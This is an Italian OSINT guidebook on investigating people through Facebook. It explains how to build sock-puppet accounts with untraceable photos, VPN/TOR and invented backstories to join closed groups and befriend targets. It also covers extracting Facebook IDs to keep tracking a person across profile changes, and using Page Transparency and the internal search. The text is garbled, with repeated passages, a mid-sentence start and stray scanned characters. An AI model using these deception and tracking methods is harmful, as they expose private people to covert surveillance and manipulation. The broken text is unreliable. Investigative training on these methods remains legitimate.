Ma la creazione di un sock puppet non si ferma alla sola immagine. Bisogna accuratamente selezionare le informazioni che si condividono e i gruppi o le pagine che si decide di seguire. Questi dettagli possono rafforzare la storia creata per il profilo e aiutare a entrare in determinate nicchie o comunità online.

Importante è anche la gestione del tempo e delle interazioni. Esagerare con l'attività online di un sock puppet può aumentare il rischio di essere segnalati o bloccati dalle piattaforme. Pertanto, mantenere un basso profilo, limitando le interazioni, è generalmente la miglior strategia.

Nell'ambito OSINT su Facebook, i sock puppet possono rivelarsi degli strumenti di grande valore. Possono, per esempio, visualizzare profili privati, unirsi a gruppi chiusi e potenzialmente interagire con soggetti d'interesse per raccogliere informazioni.

Per garantire la loro efficienza, questi profili richiedono un lavoro costante e un aggiornamento periodico. Con il tempo, i dettagli si accumulano e l'identità fittizia diventa sempre più credibile permettendo così di navigare nel mare di informazioni disponibili senza destare sospetto.

Tuttavia, è fondamentale essere consapevoli che un uso improprio dei sock puppet può portare alla violazione dei termini di servizio delle piattaforme, come Facebook. Pertanto, se si decide di utilizzare questa tecnica, deve essere fatto con la doverosa prudenza e solo con intenti legittimi e conformi alla legge.

Dopo aver chiarito cosa sono i sock puppet e come operano all'interno di Facebook, si può comprendere meglio la profonda influenza che questi possono avere nelle tecniche avanzate di Facebook OSINT. Nel prossimo passaggio, ci immergeremo in quei dettagli che riguardano la creazione di un sock puppet per Facebook e le implicazioni etiche che ne conseguono.

1
e
i

fittizia dell'account, quindi diventa cruciale l'uso di VPN, proxy o TOR per occultare l'origine delle proprie azioni.

A livello pratico, le immagini di profilo e le altre foto devono essere uniche e non riconducibili ad altre fonti online. Per fare ciò, si possono utilizzare immagini royalty-free o modificate in maniera tale da non essere riconoscibili attraverso la ricerca inversa delle immagini.

Ma la creazione di un sock puppet non si ferma alla sola immagine. Bisogna accuratamente selezionare le informazioni che si condividono e i gruppi o le pagine che si decide di seguire. Questi dettagli possono rafforzare la storia creata per il profilo e aiutare a entrare in determinate nicchie o comunità online.

Importante è anche la gestione del tempo e delle interazioni. Esagerare con l'attività online di un sock puppet può aumentare il rischio di essere segnalati o bloccati dalle piattaforme. Pertanto, mantenere un basso profilo, limitando le interazioni, è generalmente la miglior strategia.

Nell'ambito OSINT su Facebook, i sock puppet possono rivelarsi degli strumenti di grande valore. Possono, per esempio, visualizzare profili privati, unirsi a gruppi chiusi e potenzialmente interagire con soggetti d'interesse per raccogliere informazioni.

Per garantire la loro efficienza, questi profili richiedono un lavoro costante e un aggiornamento periodico. Con il tempo, i dettagli si accumulano e l'identità fittizia diventa sempre più credibile, permettendo così di navigare nel mare di informazioni disponibili senza destare sospetto.

Tuttavia, è fondamentale essere consapevoli che un uso improprio dei sock puppet può portare alla violazione dei termini di servizio delle piattaforme, come Facebook. Pertanto, se si decide di utilizzare questa tecnica, deve essere fatto con la doverosa prudenza e solo con intenti legittimi e conformi alla legge.

Dopo aver chiarito cosa sono i sock puppet e come operano all'interno di Facebook, si può comprendere meglio la profonda influenza che questi possono avere nelle tecniche avanzate di Facebook OSINT. Nel prossimo passaggio, ci immergeremo in quei dettagli che riguardano la creazione di un sock puppet per Facebook e le implicazioni etiche che ne conseguono.

INVESTIGADOR_Z

CREARE UN SOCK PUPPET PER FACEBOOK ED ETICA

Nel mondo dell'OSINT, esiste un fenomeno noto come "Sock Puppeting", che consiste nel creare un'identità virtuale, o un avatar, per raccogliere informazioni in maniera anonima. Parlando di Facebook, il processo può essere particolarmente delicato a causa delle stringenti politiche della piattaforma riguardo agli account autentici.

Un *Sock Puppet*, o marionetta, su Facebook può essere plasmato con l'intento di infiltrarsi in gruppi chiusi, aggiungere amici e monitorare target di interesse, sempre per scopi di ricerca OSINT. È fondamentale, durante la creazione, prestare attenzione a non violare i termini di servizio della piattaforma.

Per iniziare, è consigliabile utilizzare dati credibili, mantenendo comunque un profilo basso e non eccessivamente dettagliato. L'autenticità incrementa le chance di accettazione in gruppi e connessioni, ma ricordiamo che ogni dato falso inserito potrebbe comportare rischi etici e legali.

Una delle tecniche più diffuse è utilizzare una foto profilo non riconducibile a persone reali, magari creata con software di generazione di volti artificiali. Oltre alla foto, la costruzione di una storia credibile per il profilo è essenziale, includendo scuole, luoghi di lavoro e interessi plausibili.

Creare relazioni all'interno della rete aumenta l'autenticità del profilo. Per farlo, si possono aggiungere "amici" generici, preferibilmente profili di sock puppet analoghi o automazioni studiate per questo scopo. Tale pratica richiede un'attenta pianificazione per non cadere nel banale o nel sospetto.

Altro aspetto cruciale è la coerenza delle attività del sock puppet su Facebook. Dovrebbe agire come un utente tipico, condividendo post, mettendo "mi piace" e interagendo in maniera naturale, senza sollevare sospetti sulla sua natura artificiale.

Al di là della creazione e gestione di un sock puppet, etica e legalità giocano un ruolo chiave. In ambito OSINT, la linea tra ricerca di informazioni e spionaggio o violazione della privacy è sottile. Utilizzare sock puppets configura una zona grigia che va gestita con attenzione.

È importante ricordare che la giustificazione di "tutto è lecito per ottenere informazioni" non regge dal punto di vista etico. L'utilizzo di sock puppets dovrebbe essere sempre finalizzato a compiti legittimi e legali, evitando accuratamente di incappare nell'inganno o nella manipolazione di altri utenti.

Per esempio, accettare o instaurare relazioni amicali per fini investigativi può causare dilemmi etici, soprattutto se queste interazioni influenzano emozioni e scelte delle persone coinvolte. Tali pratiche potrebbero avere ripercussioni morali e legali significative.

Nel contesto accademico e professionale, è vitale disporre di linee guida codificate che indichino quando e come sia accettabile impiegare queste tecniche avanzate. Gli studenti devono essere consci del fatto che ogni azione online può avere conseguenze nel mondo reale.

Prima di procedere con la creazione di un sock puppet per attività OSINT su Facebook, si dovrebbe sempre valutare l'obiettivo della ricerca e il rispetto della privacy degli altri utenti. Domande come "Sto per violare la privacy di qualcuno?" o "Sto agendo onestamente?" devono essere sempre alla base di ogni decisione.

Oltre all'aspetto etico, ci sono anche considerevoli implicazioni legali. In Italia, per esempio, la legge sulla privacy è molto rigorosa e la creazione di identità false potrebbe essere considerata illecita. Pertanto, è fondamentale informarsi sulla normativa e agire in conformità.

Un'ulteriore cautela da adottare è mantenere un controllo regolare sul sock puppet, assicurandosi che non compia azioni dannose o controproducenti agli scopi della ricerca. La trascuratezza potrebbe portare a conseguenze inaspettate, come il coinvolgimento in attività malevole.

In sintesi, la creazione di un sock puppet su Facebook può essere uno strumento d'indagine potente nell'ambito dell'OSINT, ma deve essere eseguita con la dovuta consapevolezza delle responsabilità etiche e legali implicate. Gli studenti dovrebbero valutare le necessità della loro ricerca in equilibrio con questo aspetto critico.

Infine, il confronto con esperti di OSINT, l'approfondimento di studi di caso e la formazione continua rappresentano l'approccio migliore per sviluppare competenze etiche e responsabili nel settore. Solo attraverso la conoscenza e il rispetto delle regole è possibile sfruttare appieno le potenzialità dell'OSINT, mantenendo una pratica lecita e rispettosa di ogni individuo.

1
a
a

Per esempio, accettare o instaurare relazioni amicali per fini investigativi può causare dilemmi etici, soprattutto se queste interazioni influenzano emozioni e scelte delle persone coinvolte. Tali pratiche potrebbero avere ripercussioni morali e legali significative.

Nel contesto accademico e professionale, è vitale disporre di linee guida codificate che indichino quando e come sia accettabile impiegare queste tecniche avanzate. Gli studenti devono essere consci del fatto che ogni azione online può avere conseguenze nel mondo reale.

Prima di procedere con la creazione di un sock puppet per attività OSINT su Facebook, si dovrebbe sempre valutare l'obiettivo della ricerca e il rispetto della privacy degli altri utenti. Domande come "Sto per violare la privacy di qualcuno?" o "Sto agendo onestamente?" devono essere sempre alla base di ogni decisione.

Oltre all'aspetto etico, ci sono anche considerevoli implicazioni legali. In Italia, per esempio, la legge sulla privacy è molto rigorosa e la creazione di identità false potrebbe essere considerata illecita. Pertanto, è fondamentale informarsi sulla normativa e agire in conformità.

Un'ulteriore cautela da adottare è mantenere un controllo regolare sul sock puppet, assicurandosi che non compia azioni dannose o controproducenti agli scopi della ricerca. La trascuratezza potrebbe portare a conseguenze inaspettate, come il coinvolgimento in attività malevole.

In sintesi, la creazione di un sock puppet su Facebook può essere uno strumento d'indagine potente nell'ambito dell'OSINT, ma deve essere eseguita con la dovuta consapevolezza delle responsabilità etiche e legali implicate. Gli studenti dovrebbero valutare le necessità della loro ricerca in equilibrio con questo aspetto critico.

Infine, il confronto con esperti di OSINT, l'approfondimento di studi di caso e la formazione continua rappresentano l'approccio migliore per sviluppare competenze etiche e responsabili nel settore. Solo attraverso la conoscenza e il rispetto delle regole è possibile sfruttare appieno le potenzialità dell'OSINT, mantenendo una pratica lecita e rispettosa di ogni individuo.

INVESTIGADOR_Z

L'IMPORTANZA DEL FACEBOOK ID

È cruciale soffermarci su un aspetto fondamentale che ogni studente OSINT dovrebbe dominare: il Facebook ID. Questo identificativo unico è l'asse portante di una ricerca avanzata su Facebook, e capire il suo funzionamento è essenziale per chi vuole seriamente imparare le dinamiche di intelligence e ingegneria sociale applicate al gigante dei social media.

Il Facebook ID non è altro che un numero assegnato all'atto della creazione di un profilo o di una pagina. È questo dato che rende ogni account unico e distinguibile dalla massa, anche quando nomi e dettagli superficiali si somigliano. Se ti stai chiedendo perché sia tanto importante, la risposta è semplice: il Facebook ID è la chiave per sbloccare un mare di informazioni nascoste o non immediatamente accessibili attraverso i canali standard di ricerca.

Un Facebook ID può essere paragonato a un codice fiscale nell'ambito digitale; esso permette per esempio, di risalire al profilo di una persona anche quando questa ha optato per una privacy ferrea, nascondendo i dati dal pubblico e dagli strumenti standard di ricerca interna.

Muovendoci nel territorio pratico, il Facebook ID è impiegato da numerosi tool e plugin utili all'automazione della raccolta dati. Questi strumenti possono scavare in profondità, estrarre foto, amicizie, post, preferenze e qualsiasi informazione l'utente abbia inavvertitamente lasciato accessibile. Ecco perché avere una mano calda sul Facebook ID significa aprire una porta verso informazioni che possono rivelarsi preziose.

Per esempio, attraverso l'ID è possibile monitorare le interazioni e i movimenti di un utente indipendentemente dai cambiamenti dei suoi dettagli di profilo. Cosa significa? Che anche se Mario Rossi decidesse di diventare "Mark Red", per chi maneggia correttamente gli strumenti OSINT continuerebbe a essere tracciabile senza problemi.

Le potenzialità legate all'uso del Facebook ID si estendono oltre il tracciamento. I dati di interazioni e connessioni possono essere utilizzati per generare mappe sociali e discernere schemi di comportamento, aspetto di grande rilevanza nell'ambito dell'ingegneria sociale. Capisci la portata? Attraverso questi schemi, si possono anticipare mosse e prevedere scelte cruciali quando le informazioni raccolte sono utilizzate per l'influenza o la persuasione.

Per i più interessati agli aspetti forensi, sapere che un Facebook ID può aiutare anche a identificare la proprietà di contenuti digitali dubbi o a svelare la fonte di campagne di disinformazione o spam, non fa che incrementare il suo valore.

D'altra parte, dobbiamo essere consapevoli che la raccolta e l'utilizzo di dati personali devono sempre tenere conto di considerazioni etiche e legali. Non è tutto permesso e le informazioni vanno maneggiate con cura e rispetto per la privacy altrui.

Questo ci introduce alla faccenda dei “dati sensibili”. Il Facebook ID, essendo collegato direttamente a una persona fisica o a una realtà commerciale, può rientrare in questa categoria. La manipolazione di tali dati richiede un’attenzione particolare, dovendo essere conforme ai regolamenti sulla protezione dei dati personali, come il GDPR in Europa.

Allo stesso tempo, proprio per via della sua importanza e del suo impatto, Facebook ha introdotto varie misure per rendere meno immediato l’accesso al proprio ID. Questo ha reso più complesso per ricercatori e appassionati di OSINT il compito di reperire tali informazioni, che quasi sempre richiede passaggi aggiuntivi o l’uso di strumenti specifici.

Il panorama degli strumenti è vasto e comprende sia soluzioni automatiche sia tecniche manuali. Si va dagli scraper che, attraverso la programmazione e la gestione delle richieste HTTP, estraggono l’ID dai codici sorgente delle pagine, fino a metodi più diretti e meno tecnici che sfruttano le URL personalizzate o le funzioni interne alla piattaforma.

Concludendo, ci teniamo a ricordarvi che l’OSINT è una disciplina che richiede precisione, pazienza e una continua voglia d’imparare. Il Facebook ID è solo uno degli aspetti di questa pratica, ma ne rappresenta uno dei pilastri portanti per quanto concerne le ricerche su uno dei social più frequentati del mondo. Abbiamo sollevato il velo su questo argomento; ora tocca a voi giocare la vostra partita nel grande e intricato scacchiere digitale.

i
e
,
,

Questo ci introduce alla faccenda dei “dati sensibili”. Il Facebook ID, essendo collegato direttamente a una persona fisica o a una realtà commerciale, può rientrare in questa categoria. La manipolazione di tali dati richiede un’attenzione particolare, dovendo essere conforme ai regolamenti sulla protezione dei dati personali, come il GDPR in Europa.

Allo stesso tempo, proprio per via della sua importanza e del suo impatto, Facebook ha introdotto varie misure per rendere meno immediato l’accesso al proprio ID. Questo ha reso più complesso per ricercatori e appassionati di OSINT il compito di reperire tali informazioni, che quasi sempre richiede passaggi aggiuntivi o l’uso di strumenti specifici.

Il panorama degli strumenti è vasto e comprende sia soluzioni automatiche sia tecniche manuali. Si va dagli scraper che, attraverso la programmazione e la gestione delle richieste HTTP, estraggono l’ID dai codici sorgente delle pagine, fino a metodi più diretti e meno tecnici che sfruttano le URL personalizzate o le funzioni interne alla piattaforma.

Concludendo, ci teniamo a ricordarvi che l’OSINT è una disciplina che richiede precisione, pazienza e una continua voglia d’imparare. Il Facebook ID è solo uno degli aspetti di questa pratica, ma ne rappresenta uno dei pilastri portanti per quanto concerne le ricerche su uno dei social più frequentati del mondo. Abbiamo sollevato il velo su questo argomento; ora tocca a voi giocare la vostra partita nel grande e intricato scacchiere digitale.

INVESTIGADOR_Z

COME ESTRARRE IL FACEBOOK ID IN AUTOMATICO E MANUALMENTE

Nell'ambito delle indagini OSINT su Facebook, comprendere come individuare il Facebook ID di un profilo o di una pagina può rappresentare una chiave di volta. Questo identificativo unico consente di accedere a informazioni spesso non visibili attraverso un semplice browser. Vediamo quindi come si può procedere, sia automaticamente che manualmente.

Partiamo con l'estrazione automatica. Esistono tool e servizi online capaci di reperire il Facebook ID con pochi click. Uno tra i più noti è FindMyFBID. Basta inserire l'URL della pagina o del profilo di interesse e, come per magia, il sito restituirà l'ID cercato. Ma non solo FindMyFBID è in gioco: ci sono anche Graph API di Facebook e altre piattaforme di analisi dati che possono semplificarci la vita.

Per usare Graph API, è necessario avere una conoscenza minima delle API di Facebook, ma non preoccupatevi, con un po' di pratica diventerà un gioco da ragazzi. Registrarsi come sviluppatore su Facebook e creare un'applicazione di prova ti darà accesso a token che potrete utilizzare per interrogare la Graph API e ottenere il Facebook ID.

Passando alla modalità manuale, il processo può richiedere un po' più di intuizione. A volte l'ID può essere trovato direttamente nell'URL del profilo o della pagina. Per esempio, se trovate un URL del tipo "facebook.com/profile.php?id=123456789", quell'insieme di numeri finali è l'ID ricercato.

Se l'URL appare sotto una forma più compatta, come per esempio "facebook.com/nomeprofilo", il modo più semplice consiste nell'analizzare il codice sorgente della pagina. Con il clic destro selezioniamo "Visualizza sorgente pagina", poi usando la funzione di ricerca (CTRL+F su Windows o CMD+F su macOS) cercheremo il termine "entity_id" o "profile_id".

Una volta trovata la stringa, dovremmo vedere una serie di numeri attaccata a queste parole, che è l'ID di cui siamo alla ricerca. La procedura potrebbe variare leggermente a seconda delle modifiche che Facebook apporta alla propria struttura del sito web, quindi è bene essere sempre aggiornati.

È importante anche conoscere l'esistenza di estensioni per il browser che promettono di far proprio questo: un esempio può essere "Facebook ID Finder". Queste estensioni lavorano analizzando il profilo e restituiscono l'ID desiderato con un semplice click.

Tuttavia, c'è una nota da tenere in considerazione: il tuo obiettivo rimane operare nel rispetto della privacy e delle norme vigenti. Questo significa che le informazioni ottenute attraverso l'ID di Facebook dovrebbero essere utilizzate responsabilmente e sempre a fini leciti. Ricorda che lo

scopo dell'OSINT è quello di raccogliere dati che sono pubblicamente disponibili, evitando di infrangere leggi o confini etici.

Perché è così importante l'ID? Bene, attraverso l'ID si possono ottenere dettagli su dati cronologici, amicizie nascoste, e a volte anche elementi quali commenti o likes che non sono immediatamente visibili sulla timeline di un utente. Quindi, nelle mani giuste, l'ID di Facebook è uno strumento potente per approfondire le ricerche OSINT.

Una volta ottenuto l'ID, esso può essere utilizzato in diversi modi. È possibile, per esempio, cercare direttamente l'URL

“facebook.com/{facebook-id}” per andare sul profilo associato. Oppure utilizzare tool di terzi che, inserendo l'ID, forniscono un report dettagliato dell'attività dell'utente collegato.

I metodi automatici, per quanto pratici, hanno i loro limiti. I tool possono smettere di funzionare senza preavviso a causa di cambiamenti nelle politiche di Facebook o aggiornamenti del sito.

Ecco perché avere un approccio ibrido, che unisca l'automazione alla capacità di estrazione manuale, diventa essenziale per qualunque investigatore OSINT che si rispetti.

Il Facebook ID è utilizzato in numerose funzioni interne a Facebook che vanno oltre la semplice identificazione dell'utente. Conoscere l'ID può consentire, per esempio, di analizzare meglio la portata di un post e l'impatto sociale che le pagine hanno nella rete di utenti.

In conclusione, essere in grado di estrarre il Facebook ID è fondamentale, sia che si voglia procedere manualmente sia che si preferisca un approccio più automatizzato. Ogni tecnica ha i suoi pregi e i suoi limiti, e spesso la migliore strategia consiste nell'unire più metodi. Questa conoscenza ti posizionerà un passo avanti nell'arte dell'OSINT su Facebook, rendendoti più agile ed efficace nelle tue ricerche.

Non dimenticare di essere sempre prudente e di considerare le ripercussioni etiche delle tue indagini. L'OSINT è uno strumento potente, ma come per ogni strumento, deve essere maneggiato con responsabilità.

Proprio come abbiamo discusso in capitoli precedenti riguardo alla creazione di query attraverso Sowsearch o agli approfondimenti riguardanti i Google Dorks per Facebook, la capacità di trovare e utilizzare il Facebook ID amplificherà enormemente le vostre opzioni di ricerca e analisi.

Ora che abbiamo esaminato i modi in cui si può catturare l'ID, nei capitoli successivi, ci immergeremo in tecniche ancora più avanzate, utilizzando l'ID per svelare il velo su attività e informazioni che, altrimenti, resterebbero invisibili a uno sguardo meno esperto e attrezzato.

é

e

o

i

e

i

e

TRASPARENZA DELLA PAGINA

Avventurarsi nell'OSINT su Facebook ci porta a scoprire funzionalità che vanno oltre la semplice ricerca di una persona: una di queste è la “Trasparenza della Pagina”. Questa sezione si rivela uno strumento molto potente per tutti coloro che si dedicano alla ricerca OSINT su Facebook. Ma cosa c'è di così speciale in questa feature? Occupiamoci, quindi, di esaminare più da vicino come usare la Trasparenza della Pagina a vantaggio delle nostre investigazioni.

La sezione Trasparenza della Pagina, accessibile dalla pagina di qualunque entità su Facebook, può rivelare moltissime informazioni. Essa mostra la storia della pagina, cambiamenti importanti come le modifiche al nome, ed è fondamentale per comprendere l'evoluzione del profilo aziendale o pubblico che stiamo analizzando.

Da investigatore OSINT, una delle prime cose da fare è *correlare i cambiamenti* di una pagina con eventi esterni. Per esempio, un cambio di nome immediatamente dopo un evento controverso può suggerire un tentativo di distanziarsi da precedenti attività o problematiche pubbliche. Una miniera da non sottovalutare!

Altra caratteristica importante da considerare è l'*indicazione della data di creazione della pagina*. Avere un punto di riferimento temporale ci permette di contestualizzare la presenza online di un'entità e di valutare il suo impatto e la sua evoluzione nel tempo.

Osservare chi e da quale nazione *gestisce la pagina* ci può offrire spunti su possibili connessioni internazionali. Non è raro scoprire che, dietro un'apparente entità locale, si nasconde una regia distante, con legami che possono condurre a scoperte sorprendenti.

Le *attività pubblicitarie* sono poi un tassello importante: la Trasparenza della Pagina ci permette di vedere se una pagina ha pubblicato annunci pubblicitari. Questo ci dà indizi sul target di riferimento e sulle strategie comunicative adottate.

Tuttavia, andiamo oltre. La Trasparenza può rivelare anche le *vecchie denominazioni* della pagina, utile per rintracciare l'identità storica di un brand o di un'organizzazione e le sue possibili trasformazioni.

Se la pagina è veramente attiva, potrebbe apparire anche la *sezione “Controversie”*. Sì, hai letto bene. Qui Facebook potrebbe riportare evidenze di false informazioni diffuse dalla pagina, una funzione che aiuta a discernere la credibilità di una fonte in un batter d'occhio.

Un altro punto focale è l'*analisi delle modifiche della biografia*. Quest'area ci offre indizi sulle modifiche alla narrativa della pagina nel tempo, i cambiamenti di focus o anche il tentativo di rebranding e ridefinizione.

La verifica dell'autenticità di una pagina può essere effettuata anche tramite la Trasparenza della Pagina. Pagine autentiche tendono ad avere informazioni storiche dettagliate e tracciabili, mentre quelle meno affidabili potrebbero presentare dati scarsi o incongruenti.

Non manca poi l'aspetto della collaborazione. La Trasparenza della Pagina mostra spesso se ci sono *pagine partner* o affiliazioni, un'informazione preziosa che può ricondurre a una rete più ampia di entità coerenti o connesse.

Ma c'è di più: investigando tramite la Trasparenza della Pagina, si può anche vedere se la pagina è stata *oggetto di fusione con un'altra*. Fusi, acquisti e collaborazioni possono essere dedotti analizzando questi dati.

Il controllo delle modifiche del personale della pagina può essere utile per identificare figure chiave nell'organizzazione, specialmente se combinato con ricerche parallele su LinkedIn o altri social network professionali.

Non trascuriamo poi che la Trasparenza della Pagina può guidarci al numero di *like e follow*, elementi indicativi della crescita e dell'influenza di una pagina, oltre a fornirci potenziali insight demografici sui follower.

Infine, ma non meno importante, è la possibilità di accedere a *report* che possono includere dati importanti come variazioni di like, i più attivi post e le principali metriche di engagement della pagina. Un vero e proprio tesoro di dati, non credi?

Usare la Trasparenza della Pagina è un esercizio di attenzione ai dettagli e di connessioni tra eventi e date. È come avere un diario dell'evoluzione di una pagina a portata di click. Nel mondo dell'OSINT su Facebook, questo strumento fa la differenza, facendo emergere la realtà dietro la facciata digitale.

In conclusione, non esiste un solo modo per utilizzare le informazioni che possiamo ricavare dalla Trasparenza della Pagina. Dipende tutto dal contesto e dagli obiettivi della nostra ricerca OSINT. Ma una cosa è sicura: è uno strumento potentissimo che non può essere ignorato da chi vuole imparare davvero a navigare nelle acque talvolta oscure di Facebook.

La verifica dell'autenticità di una pagina può essere effettuata anche tramite la Trasparenza della Pagina. Pagine autentiche tendono ad avere informazioni storiche dettagliate e tracciabili, mentre quelle meno affidabili potrebbero presentare dati scarsi o incongruenti.

Non manca poi l'aspetto della collaborazione. La Trasparenza della Pagina mostra spesso se ci sono *pagine partner* o affiliazioni, un'informazione preziosa che può ricondurre a una rete più ampia di entità coerenti o connesse.

Ma c'è di più: investigando tramite la Trasparenza della Pagina, si può anche vedere se la pagina è stata *oggetto di fusione con un'altra*. Fusi, acquisti e collaborazioni possono essere dedotti analizzando questi dati.

Il controllo delle modifiche del personale della pagina può essere utile per identificare figure chiave nell'organizzazione, specialmente se combinato con ricerche parallele su LinkedIn o altri social network professionali.

Non trascuriamo poi che la Trasparenza della Pagina può guidarci al numero *di like e follow*, elementi indicativi della crescita e dell'influenza di una pagina, oltre a fornirci potenziali insights demografici sui follower.

Infine, ma non meno importante, è la possibilità di accedere a *report* che possono includere dati importanti come variazioni di like, i più attivi post e le principali metriche di engagement della pagina. Un vero e proprio tesoro di dati, non credi?

Usare la Trasparenza della Pagina è un esercizio di attenzione ai dettagli e di connessioni tra eventi e date. È come avere un diario dell'evoluzione di una pagina a portata di click. Nel mondo dell'OSINT su Facebook, questo strumento fa la differenza, facendo emergere la realtà dietro la facciata digitale.

In conclusione, non esiste un solo modo per utilizzare le informazioni che possiamo ricavare dalla Trasparenza della Pagina. Dipende tutto dal contesto e dagli obiettivi della nostra ricerca OSINT. Ma una cosa è sicura: è uno strumento potentissimo che non può essere ignorato da chi vuole imparare davvero a navigare nelle acque talvolta oscure di Facebook.

IL MOTORE DI RICERCA INTERNO A FACEBOOK

Con il progredire della tecnologia e delle nostre abilità OSINT, è diventato sempre più importante saper sfruttare gli strumenti disponibili all'interno delle piattaforme stesse che analizziamo. Parlando di Facebook, il suo motore di ricerca interno è un vero e proprio tesoro per chi sa come utilizzarlo al meglio.

Facebook è stato progettato per connettere tra loro le persone, e questa filosofia si rispecchia nelle capacità del suo motore di ricerca. Quando parliamo del motore di ricerca interno a Facebook, ci riferiamo alla barra di ricerca che troviamo in cima al sito o nell'app mobile. Questo strumento permette di cercare persone, post, foto, video, pagine, gruppi ed eventi con estrema facilità.

Una delle funzionalità più utili è la ricerca tramite parola chiave. Inserendo un termine specifico, si possono trovare post e commenti che includono quella parola. Immaginate di cercare indizi su un determinato argomento o movimento; con una ricerca mirata, è possibile scoprire discussioni e opinioni che altrimenti sarebbero rimaste nascoste.

La ricerca per luogo è un'altra caratteristica fondamentale del motore interno. Grazie a essa, possiamo trovare post, immagini o eventi correlati a una specifica localizzazione geografica. È sufficiente inserire il nome di una città o addirittura un locale specifico per avere accesso a una varietà di dati utili.

Non dimentichiamo la ricerca di persone. Con l'uso dei filtri, possiamo restringere la ricerca inserendo il luogo di lavoro, la scuola, la città attuale o di origine della persona che stiamo cercando. Questo si rivela particolarmente utile quando il nome è comune e bisogna affinare la ricerca per individuare il profilo giusto.

Per quanto riguarda la ricerca di immagini e video, Facebook consente di eseguire ricerche basate su etichette e datazioni. Così, se stai cercando una fotografia specifica associata a un evento o periodo temporale, potrai filtrare i risultati per trovare ciò che ti serve.

La ricerca all'interno dei gruppi è un altro aspetto da considerare. Se sei un membro di un gruppo, puoi usare la barra di ricerca interna per passare al setaccio i post e i commenti individuando tematiche specifiche e movimenti all'interno del gruppo stesso.

E per quanto concerne la ricerca di eventi? Beh, Facebook ci viene incontro anche qui permettendoci di ricercare eventi passati o futuri in base a luogo, data e argomenti. Questo è uno strumento eccezionale quando si indaga su movimenti o raduni.

Ci sono anche le ricerche combinate, ovvero la possibilità di incrociare diversi tipi di informazioni per restringere ulteriormente i risultati. Per esempio, potreste cercare post di una determinata persona in uno specifico gruppo su un argomento particolare.

Sfruttare questi strumenti significa esercitare una certa creatività e pazienza. Non di rado ci si può imbattere in una mole significativa di dati e informazioni, e sarà necessario essere metodici per filtrare ciò che è realmente utile per le proprie ricerche OSINT.

Un altro aspetto eccezionale dei filtri applicati nella ricerca interna è la loro combinazione con la funzione “Tag” di Facebook. Ecco, usando questo strumento, si può individuare non solo chi ha postato contenuti legati a certi argomenti o luoghi, ma anche chi è stato etichettato, ampliando ulteriormente la profondità della ricerca.

In aggiunta, per chi si dedica a ricerche più complesse, esiste un modo per impostare delle query più sofisticate attraverso l'utilizzo delle Graph Search URLs. Tuttavia, questa è una pratica per utenti avanzati e necessita di una buona comprensione dei parametri usati da Facebook.

Fondamentale è anche la consapevolezza dei limiti posti da Facebook stessa in termini di privacy e sicurezza. Si può cercare solo ciò che è pubblico o condiviso con l'utente che effettua la ricerca. Pertanto, la capacità di accedere a determinate informazioni può variare a seconda delle impostazioni di privacy dei profili e dei contenuti.

Un ulteriore suggerimento è mantenere una traccia delle proprie ricerche: annotare i parametri usati e i risultati ottenuti può essere fondamentale per ottimizzare le strategie di ricerca in future investigazioni.

Infine, non sottovalutare mai le informazioni raccolte tramite il motore di ricerca di Facebook. Anche il dettaglio più insignificante può rivelarsi una miniera d'oro nelle giuste mani. Ecco perché è cruciale abbinare queste tecniche con una solida capacità di analisi e sintesi delle informazioni.

Domandati sempre: cosa mi sta dicendo realmente questo dato? Come si integra nel contesto più ampio della mia indagine? La risposta a queste domande ti guiderà nella costruzione di una ricostruzione efficace e veritiera dell'oggetto della tua ricerca.

Per riassumere, il motore di ricerca interno a Facebook è uno strumento estremamente potente. Usato con cognizione e cura, può aprire porte verso informazioni rilevanti che potrebbero essere il tassello mancante nel vostro puzzle investigativo. Siamo solo all'inizio di questo capitolo sulle tecniche avanzate di Facebook OSINT, ma già possiamo intravedere la vastità di opportunità che il social network ci offre.

ⁱ _a **Capitolo 8: Sfruttare le**

Funzionalità di Facebook a Scopo

OSINT

^a Dopo aver esplorato le tecniche avanzate per scavare informazioni su Facebook nel capitolo
ⁱ precedente, è giunto il momento di tirar fuori gli attrezzi pesanti e scoprire come possiamo
^j sfruttare ancora di più la piattaforma a nostro vantaggio. Immagina di poter scrutare ogni angolo
di Facebook per carpire informazioni nascoste o poco evidenti, be', è esattamente ciò che
analizzeremo adesso. Tuffiamoci nella vastità dell'ADS Library per renderci conto delle
immense possibilità che la pubblicità targata Facebook può offrirci quando parliamo di OSINT.
Ti immergerai poi nel mondo pulsante delle dirette con Facebook Live, una miniera d'oro per ch
sa cosa cercare e come interpretare le informazioni in tempo reale. Non passerà molto e ti
⁷ ritroverai a navigare nel Marketplace, dove la manipolazione degli URL può diventare uno
strumento potente per individuare offerte e profili di interesse, senza dimenticare l'arte di
esportare i commenti da un post, per avere un quadro completo delle interazioni attorno a
contenuti specifici. E per finire, daremo una sbirciatina anche a Facebook Dating, perché anche
il'amore, a volte, può nascondere indizi preziosi.

e

.'.

e

e

e

Capitolo 8: Sfruttare le Funzionalità di Facebook a Scopo

OSINT

Dopo aver esplorato le tecniche avanzate per scavare informazioni su Facebook nel capitolo precedente, è giunto il momento di tirar fuori gli attrezzi pesanti e scoprire come possiamo sfruttare ancora di più la piattaforma a nostro vantaggio. Immagina di poter scrutare ogni angolo di Facebook per carpire informazioni nascoste o poco evidenti, be', è esattamente ciò che analizzeremo adesso. Tuffiamoci nella vastità dell'ADS Library per renderci conto delle immense possibilità che la pubblicità targata Facebook può offrirci quando parliamo di OSINT. Ti immergerai poi nel mondo pulsante delle dirette con Facebook Live, una miniera d'oro per chi sa cosa cercare e come interpretare le informazioni in tempo reale. Non passerà molto e ti ritroverai a navigare nel Marketplace, dove la manipolazione degli URL può diventare uno strumento potente per individuare offerte e profili di interesse, senza dimenticare l'arte di esportare i commenti da un post, per avere un quadro completo delle interazioni attorno a contenuti specifici. E per finire, daremo una sbirciatina anche a Facebook Dating, perché anche l'amore, a volte, può nascondere indizi preziosi.

OSINT SU FACEBOOK ADS LIBRARY

Per comprendere il valore dell'OSINT (Open Source Intelligence) quando si tratta di pubblicità su Facebook, è fondamentale conoscere la Facebook ADS Library. Questa risorsa, o "libreria", è un database pubblico dove Facebook archivia ogni singola pubblicità che gira sulla loro piattaforma. Ma cosa ci può dire una semplice pubblicità? Be', più di quanto potresti immaginare.

Prima cosa, per accedere alla ADS Library non è richiesto un account Facebook. È una zona trasparente, creata per promuovere una maggiore visibilità sulle pubblicità soprattutto in tema di annunci politici. Ammetto che è un'ottima mossa per tutti noi alla ricerca di dati.

